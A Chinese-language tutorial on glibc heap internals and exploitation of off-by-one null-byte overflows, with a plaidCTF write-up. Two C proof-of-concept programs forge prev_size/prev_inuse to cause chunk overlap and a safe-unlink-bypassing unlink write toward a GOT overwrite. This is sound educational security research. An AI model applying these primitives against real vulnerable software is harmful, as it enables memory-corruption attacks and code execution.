Libc堆管理機制及漏洞利用技術 (一）

原創作者：ysyy

前段時間無聊參加了個名為RCTF的比賽，結果被關系戶頂了，沒進入決賽。雖然也沒太把這個當個事，但還是略有不爽。正所謂知恥而后勇，作為一個Windows下的病毒分析人員，毅然決定拿Linux下libc的堆管理機制來出出氣。總體感覺libc的堆管理還是有很多問題，安全上的考慮遠沒有Windows多。研究的過程參考了一些資料，也原創了一些方法，當然肯定不是首創。因為不喜歡讀源碼，絕大部分的研究是基于調試器的，如有錯誤還望各位大牛指出~

0×01 Libc堆淺析

1.1 堆管理結構

struct malloc_state {
 mutex_t mutex;                 /* Serialize access. */
 int flags;                       /* Flags (formerly in max_fast). */
 #if THREAD_STATS
 /* Statistics for locking. Only used if THREAD_STATS is defined. */
 long stat_lock_direct, stat_lock_loop, stat_lock_wait;
 #endif
 mfastbinptr fastbins[NFASTBINS];    /* Fastbins */
 mchunkptr top;
 mchunkptr last_remainder;
 mchunkptr bins[NBINS * 2];
 unsigned int binmap[BINMAPSIZE];   /* Bitmap of bins */
 struct malloc_state *next;           /* Linked list */
 INTERNAL_SIZE_T system_mem;
 INTERNAL_SIZE_T max_system_mem;
 };

malloc_state結構是我們最常用的結構，其中的重要字段如下：

fastbins：存儲多個鏈表。每個鏈表由空閑的fastbin組成，是fastbin freelist。

top：top chunk，指向的是arena中剩下的空間。如果各種freelist都為空，則從top chunk開始分配堆塊。

bins：存儲多個雙向鏈表。意義上和堆塊頭部的雙向鏈表一樣，并和其組成了一個雙向環狀空閑列表（freelist）。這里的bins位于freelist的結構上的頭部，后向指針（bk）指向freelist邏輯上的第一個節點。分配chunk時從邏輯上的第一個節點分配尋找合適大小的堆塊。

一整個堆的結構大體如下：

1.2 堆塊結構

struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk * fd;
struct malloc_chunk * bk;
}

prev_size：相鄰的前一個堆塊大小。這個字段只有在前一個堆塊（且該堆塊為normal chunk）處于釋放狀態時才有意義。這個字段最重要（甚至是唯一）的作用就是用于堆塊釋放時快速和相鄰的前一個空閑堆塊融合。該字段不計入當前堆塊的大小計算。在前一個堆塊不處于空閑狀態時，數據為前一個堆塊中用戶寫入的數據。libc這么做的原因主要是可以節約4個字節的內存空間，但為了這點空間效率導致了很多安全問題。

size：本堆塊的長度。長度計算方式：size字段長度+用戶申請的長度+對齊。libc以size_T長度*2為粒度對齊。例如32bit以4*2=8byte對齊，64bit以8*2=0×10對齊。因為最少以8字節對齊，所以size一定是8的倍數，故size字段的最后三位恒為0，libc用這三個bit做標志flag。比較關鍵的是最后一個bit（pre_inuse），用于指示相鄰的前一個堆塊是alloc還是free。如果正在使用，則bit=1。libc判斷當前堆塊是否處于free狀態的方法就是判斷下一個堆塊的pre_inuse是否為1。這里也是double free和null byte offset等漏洞利用的關鍵。

fd &bk：雙向指針，用于組成一個雙向空閑鏈表。故這兩個字段只有在堆塊free后才有意義。堆塊在alloc狀態時，這兩個字段內容是用戶填充的數據。兩個字段可以造成內存泄漏（libc的bss地址），Dw shoot等效果。

值得一提的是，堆塊根據大小，libc使用fastbin、chunk等邏輯上的結構代表，但其存儲結構上都是malloc_chunk結構，只是各個字段略有區別，如fastbin相對于chunk，不使用bk這個指針，因為fastbin freelist是個單向鏈表。

1.3 堆的分配過程

我未對malloc的全部源碼進行分析，故這里只列出幾個關鍵的可以被利用的點。

malloc根據用戶申請堆塊的大小不同做出不同的處理。最常用的是fastbin和chunk。malloc分配時的整體順序是如果堆塊較小，屬于fastbin，則在fastbin list里尋找到一個恰當大小的堆塊；如果其大小屬于normal chunk，則在normal bins里面（unsort，small，large）尋找一個恰當的堆塊。如果這些bins都為空或沒有分配成功，則從top chunk指向的區域分配堆塊。

bin：libc的堆管理機制和其他的堆管理一樣，對于free的堆塊，堆管理器不會立即把釋放的內存還給系統，而是自己保存起來，以便下次分配使用。這樣可以減少和系統內核的交互次數，提高效率。Libc中保存釋放的內存的地點就是bin。bin是一個個指針，指向一個個鏈表（雙向&單向），這些鏈表就由釋放的內存組成。

Libc中的bin有下面幾類：

         Fast bin
         Unsorted bin
         Small bin
         Large bin

Fast bin:

對于較小的堆塊，使用fastbin來分配。存儲釋放的fastbin的列表是單向鏈表，且fastbin不會和其他的堆塊融合，故速度較快。malloc_state結構中的fastbin數組共有十個成員，也就是說有10個fastbin單向鏈表。同一個鏈表上存儲的空閑堆塊大小都是一樣的。以32位系統為例，這10個鏈表存儲的堆塊大小為16bytes到88bytes，以8字節遞增（對齊粒度）。但是根據我自己的測試，當堆塊大小大于64（0×40）bytes時，這個堆塊free后就已經不存在fastbin中了。也就是說10個fastbin list只用了前7個。這里就沒有深究具體的原因了。

Fastbin list結構如上圖所示，對于其中任何一個list，當一個fastbin釋放時，會根據malloc_state中fastbin list中對應的fd指針，把這個釋放的fastbin插入到這個隊列尾部。因為fastbin list是個單向鏈表，不使用bk指針，所以malloc的時候為了效率會根據fd指針，從對應的fastbin鏈表尾部的堆塊開始分配。尾部堆塊是最后被free的。所以fastbin list分配的時候是LIFO順序，即后釋放的堆塊先被分配。

Normal bin:

除了fastbin之外的堆塊則為normal chunk。這些堆塊釋放后堆塊會被放到malloc_state結構的bins數組中。bins數組中一共有126個元素。具體的分配如下：

Bin 1 – Unsorted bin
Bin 2 to Bin 63 – Small bin
Bin 64 to Bin 126 – Large bin

當一個normal chunk第一次釋放時，會首先按釋放照順序插入到Unsort bin中。當malloc的時候，會在bins中的第一個list中，根據bk指針，找到鏈表中的第一個成員，從這個成員開始尋找合適的堆塊分配。即FIFO，先釋放的堆塊先被分配。當在unsort bin中找到合適的堆塊后，其前面的鏈表成員會從unsort bin中取下，并放入其他的相應的bin中。此后這些堆塊只要是釋放，都會先放入unsort bin中。

堆分配過程中的安全問題：

a)  malloc在各種bin對應的list中尋找合適大小的堆塊時，判斷空閑堆塊是根據空閑堆塊的size字段，且只根據這個字段。malloc的時候并沒有根據下個堆塊的pre_size字段是否和當前堆塊的size一致，這是典型的懶，為了效率完全不顧安全的典型體現。后面的章節會講一下根據libc的這個特點，單字節溢出可以造成內存溢出，內存重疊等。

b)  此外，在unsort bin的list取下合適堆塊的節點時，由于堆管理結構的巧合，當溢出構造DW shoot時，會導致top chunk字段地址被寫入到任意內存地址，如果這個內存地址可以被編輯，則top chunk字段的內容可能被篡改，導致進一步的漏洞利用。malloc在這個過程中并沒有調用safe unlink機制去做安全檢查。后續章節會有相關的實例。

c)  最后，malloc在list中找的合適的堆塊大于實際申請的堆塊大小時，會涉及到“切割”的問題。即從相對較大的空閑堆塊中切割出一部分分配給申請者。當執行這個操作時，需要更新當前空閑堆塊的下一個堆塊的pre_size字段。而malloc在更新pre_size字段時，是根據當前空閑堆塊的size字段找到下一個相鄰堆塊的pre_size字段的，但malloc在更新修改這個字段時，卻沒有對這個字段原來的數值做驗證（即和size字段對比看是否一致）。這樣如果單字節溢出時，空閑堆塊的size字段被破壞，會導致沒有正確更新后一個堆塊的pre_size字段。

1.4 堆塊的釋放過程

free()的過程可以大體分為下面幾個過程：

1)  一些基本的堆塊長度字段檢查（例如 size >= min_size and size <= max_size）
2)  根據當前堆塊的長度字段，定位下一個相鄰堆塊的頭部。下一個相鄰堆塊必須是有效的堆塊，且頭部的pre_inuse位必須為1（即當前堆塊為在使用狀態，防止double free）：next_chunk->size & 0x1 == 1
3)  檢查當前堆塊是否在freelist頭部，主要是為了檢測double free。但是這個檢測是非常不完善的，因為libc為了效率并沒有遍歷整個freelist，所以只要當前的堆塊在freelist的其他位置，free()函數仍然會去釋放這個堆塊。
4)  檢測當前堆塊前一個及后一個相鄰的堆塊是否處于釋放狀態，如果是，則會進行空閑堆塊合并的操作。這里的操作涉及到很多漏洞利用的機會。

首先，free()函數檢查前一個堆塊是否釋放，主要是根據pre_inuse位和pre_size字段，如果pre_inuse位為0，則會合并前一個相鄰堆塊。具體來說，根據pre_size字段找到前一個堆塊的頭部，然后根據頭部的fd和bk指針，把這個堆塊從free list中取下（unlink），并把新合并的堆塊重新加入free list。

這個過程中涉及的漏洞利用機會如下：

a)  free() 根據pre_inuse位判斷前一個堆塊為釋放狀態后，只根據pre_size去尋找前一個堆塊的頭部，找到頭部后，并沒有和堆塊頭部的size字段做比對，而是直接開始合并等鏈表操作。這樣假如pre_size字段被錯誤篡改（溢出，單字節溢出，double free），或堆塊釋放時的錯誤更新（null byte溢出），都可以制造很多的漏洞利用空間，如制造內存重疊等。

b)  unlink的操作會導致DW shoot。這是很經典的一個漏洞利用技術。Unlink的操作邏輯為：

fd->bk = bk
bk->fd = fd

如果通過溢出或者其他漏洞可以篡改釋放堆塊的fd和bk指針，就可以造成任意內存寫入的效果。Libc為了防止DW shoot，使用了一個叫做safe unlinking的機制。這個機制簡單說就是在unlink的相關寫入操作之前，根據雙向鏈表的特點，確定fd和bk指針的有效性，即檢測fd指針指向的堆塊的bk指針是否指向自己（bk同理）。代碼如下：

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
   malloc_printerr (check_action, "corrupted double-linked list", P, AV);

因為safe unlink機制的存在，導致DW shoot的使用場景受到了限制，我們很難指定一個任意的內存去寫入任意的數據了，這時候一般需要借助含有漏洞的程序的本身的一些數據管理結構。簡單說，我們要寫入的內存地址附近必須有一個指向當前堆塊的指針。這雖然導致了利用的受限，但也不是不可能的。根據“安全孤島”原理，我們借助一些數據管理結構就可以突破這種限制了，在后續的Double free漏洞利用實例中可以看到實際的應用方法。

0×02 漏洞利用實例

2.1 緩沖區溢出

溢出類的漏洞利用，有些可以溢出較多字節，可以溢出到fd，bk指針；有些溢出的較少，只能溢出到size字段。不同的溢出根據實際情況有不同的利用方法。

a) Null byte offset：plaidDB（550point，plaidCTF）

方法一：

使用shrink free chunk size的方法，通過再次切割申請，錯誤更新pre_size的特點，實現內存重疊。

這個方法是別人的，我看了感覺非常不錯，學到了很多libc的東西，非常感謝。傳送門：http://blog.frizn.fr/pctf-2015/pwn-550-plaiddb

但是個人感覺這種方法構造堆的布局還是比較麻煩的，實現其目的可以用其他的相對簡單一點的方法。

方法二：

修改pre_inuse位，釋放，構造融合，進而內存重疊。

上邊的那種方法相對比較復雜，對于plaidDB這種情況，構造堆的布局比較麻煩。前幾天我蹲在馬桶上又想了一個相對比較簡單，適用性稍好一點的方法。主要利用的是堆塊頭部的pre_size在前一個相鄰堆塊用戶空間內部，且pre_inuse位緊挨著上一個堆塊的用戶空間結尾的特點。對于null byte offset，我們不僅可以修改pre_size使其變大，也可以修改pre_inuse位。這樣當釋放堆塊時，會觸發和前一個堆塊的融合，由于pre_size字段被我們增大了，會錯誤的向前融合其他沒有釋放的堆塊，這樣我們再此申請堆塊時，就和一些沒有釋放的堆塊發生了內存重疊了。具體如下：

上圖，是初始的內存狀態。

然后，在堆塊A中發生了null byte溢出，通過修改在A堆塊內部的pre_size字段，使其長度為x + fast + A的長度之和。接著借助null byte溢出，修改了B堆塊頭部的第一個字節，把pre_inuse字段修改為0。這使libc錯誤的認為堆塊B的前一個堆塊處于空閑狀態。

這時，如果釋放堆塊B，根據上邊堆塊釋放過程章節所述，libc會首先根據pre_inuse判斷相鄰的前一個堆塊是否處于釋放狀態，如果處于釋放狀態，則根據pre_size字段找到前一個堆塊的頭部，通過我們的前面一個步驟的操作，這里會找到堆塊x的頭部，并接著通過safe unlink操作把堆塊x從freelist中卸下。為了safe unlink不會出錯，比較方便的方法是讓x處于空閑狀態。故我們應該在釋放堆塊B之前釋放x，這樣堆塊x到堆塊B的整個空間就都被釋放掉了。

值得注意的是，堆塊x和堆塊B之間必須間隔兩個堆塊。假如沒有堆塊fast，則我們在釋放堆塊x時，libc需要知道x相鄰的后一個堆塊A是否處于空閑狀態，而獲取這個信息是通過A的size字段找到堆塊B，再根據堆塊B的pre_inUse位來判斷的。而上一步的操作已經使堆塊B的pre_inuse字段為0了。這樣libc就會以為堆塊A處于空閑狀態，而對A進行unlink操作而導致出錯。（當然，如果釋放堆塊x在null byte溢出前發生則沒有這個問題了）

最后如果我們再次申請堆塊y，則會和堆塊fast和堆塊A重疊，我們就可以造成內存泄漏和內存篡改了。

驗證代碼如下：

#include <stdlib.h>
void main()
{
char *x,*fast,* A, * B, * C;
x = malloc(0x100 - 8);
memset(x,'x',0x100 - 8);
fast = malloc(1);
memset(fast,'f',3);
A = malloc(0x100 - 8);
memset(A,'a',0x100 - 8);
B = malloc(0x100 - 8);
memset(B,'b',0x100 - 8);
C = malloc(0x80 - 8);
memset(C,'c',0x100 - 8);

//x|fast|A|B|C
//why fast is needed? 如果沒有fast這個堆塊，則釋放x時，為了檢測相鄰的下一個堆塊(A)是否釋放，會去驗證B頭部的pre_size和pre_inuse，由于B的頭部已經被篡改，故會出錯。
//
/* A has a null byte offset vul.
 * A overflow to fast
 * change the pre_inuse bit
*/
A[0x100 - 8] = 0x00;
//change the pre_size of B (in A's own memory)
A[0xF0] = 0x20;
A[0xF1] = 0x02;
A[0xF2] = 0x00;
A[0xF3] = 0x00;
A[0xF4] = 0x00;
A[0xF5] = 0x00;
A[0xF6] = 0x00;
A[0xF7] = 0x00;

printf("before trigger vul, A: %s\n", A);
printf("before trigger vul, fast: %s\n", fast);

free(x);//aovid the safe unlinking when merge from x->B
free(B);//merge from x to B . Then overlap fast and A
char *new = malloc(0x150 - 8);
memset(new,'w',0x150 - 8);
printf("after trigger vul, A: %s\n", A);
printf("after trigger vul, fast: %s\n", fast);
}

方法三：

上面的幾個方法都是造成內存重疊，但null byte溢出同樣可以構造DW shoot。我們接下來借助前向融合和后向融合兩個方法來介紹怎么構造DW shoot。

前向融合：

和上面的那個思路基本是一致的。即通過修改pre_size和pre_inuse，讓libc錯誤的認為前一個相鄰的堆塊處于釋放狀態。然后在釋放操作時，會把前一個堆塊從freelist上取下來，這樣會有一個unlink的操作，就可以構造DW shoot了。

如上圖所示，通過在堆塊A中修改pre_size，可以讓libc在釋放堆塊B時，錯誤的定位到我們偽造的“前一個”堆塊頭部。然后我們可以通過fd和bk指針構造DW shoot了。但是這時需要考慮一個safe unlink的問題。我們在上一個章節中的“堆塊的釋放過程”一節中已經介紹了safe unlink的機制。因此，我們不能隨意指定pre_size了，因為根據pre_size找到的錯誤的堆塊地址必須能存儲在程序的某個變量位置。一般來說，程序都會有個管理結構，用于管理一些數據。

如上圖所示，用戶申請堆塊時，libc把alloc ptr位置而不是整個堆塊的起始位置（free ptr）返回給用戶，用戶可以從這個指針的地址開始定義堆上的數據。當堆塊釋放之后，各種空閑鏈表上的fd或bk指針存儲的是整個堆塊的起始位置，即free ptr位置（故safe unlink判斷的是free ptr位置）。

程序一般會把用戶數據做一些存儲，故一般存儲的是alloc ptr位置。故我們的pre_size應該是堆塊A的長度減去size*2，即定位到alloc ptr處。

驗證代碼如下：

#include <stdlib.h>
long gl[0x40];
void main()
{
//set global var
memset(gl,'i',0x3F);
char * A, * B, * C;
A = malloc(0x100 - 8); //
memset(A,'a',0x100 - 8);
B = malloc(0x100 - 8); //
memset(B,'b',0x100 - 8);
C = malloc(0x200 - 8); // for stable
memset(C,'c',0x200 - 8);
//pre_size,pre_inuse bit must be 1
A[0x8]=0x11,A[0x9]=0x01,A[0xA]=0x00,A[0xB]=0x00,A[0xC]=0x00,A[0xD]=0x00,A[0xE]=0x00,A[0xF]=0x00;

//fd, A->fd->bk == A
A[0x10]=0xE8,A[0x11]=0x10,A[0x12]=0x60,A[0x13]=0x00,A[0x14]=0x00,A[0x15]=0x00,A[0x16]=0x00,A[0x17]=0x00;

//bk, A->bk->fd == A
A[0x18]=0xF0,A[0x19]=0x10,A[0x1A]=0x60,A[0x1B]=0x00,A[0x1C]=0x00,A[0x1D]=0x00,A[0x1E]=0x00,A[0x1F]=0x00;

//change the pre_size of B (in A's own memory) , point to A's Fake Head
A[0xF0]=0xF0,A[0xF1]=0x00,A[0xF2]=0x00,A[0xF3]=0x00,A[0xF4]=0x00,A[0xF5]=0x00,A[0xF6] = 0x00,A[0xF7] = 0x00;

//null byte offset , VUL!!!!!!! , change B's pre_inuse to 0 , then free B cause forward merge
A[0x100 - 8] = 0x00;
gl[0x10] = A;//avoid safe unlinking
printf("Before DW , global[0x10] is : %p\n", gl[0x10]);
free(B);//triger the merge , Then cause DW shoot
printf("After DW , global[0x10] is : %p\n", gl[0x10]);
printf("Done\n");
}

如上面代碼，全局變量原來存儲的是堆塊A的地址，經過DW shoot之后，就變成了全局變量前面偏移0×18位置，如果程序可以Edit全局變量指向的內存，則可以做各種各樣的事了，如把全局變量的內容修改為GOT表地址（因為這個全局變量現在已經指向自己前面偏移0×18位置了。

0×03 結尾

最近為某比賽寫了個PWN題，利用的就是上述null byte offset漏洞轉換成DW shoot的方法，具體的題目和exploit合適的時候再放出來。

其實只要能通過前向融合構造DW shoot，就可以構造內存重疊。兩者唯一的區別是構造DW shoot要我們精心挑選合適的fd和bk指針，構造內存重疊則需要釋放一個堆塊，讓fd和bk是“原裝”的，然后正常融合，然后再申請篡改內存。

篇幅字數限制，關于傳統的堆溢出，和Double free等漏洞的利用就放到下一篇里了~

*原創作者： ysyy ，本文屬FreeBuf原創獎勵計劃文章，未經許可禁止轉載。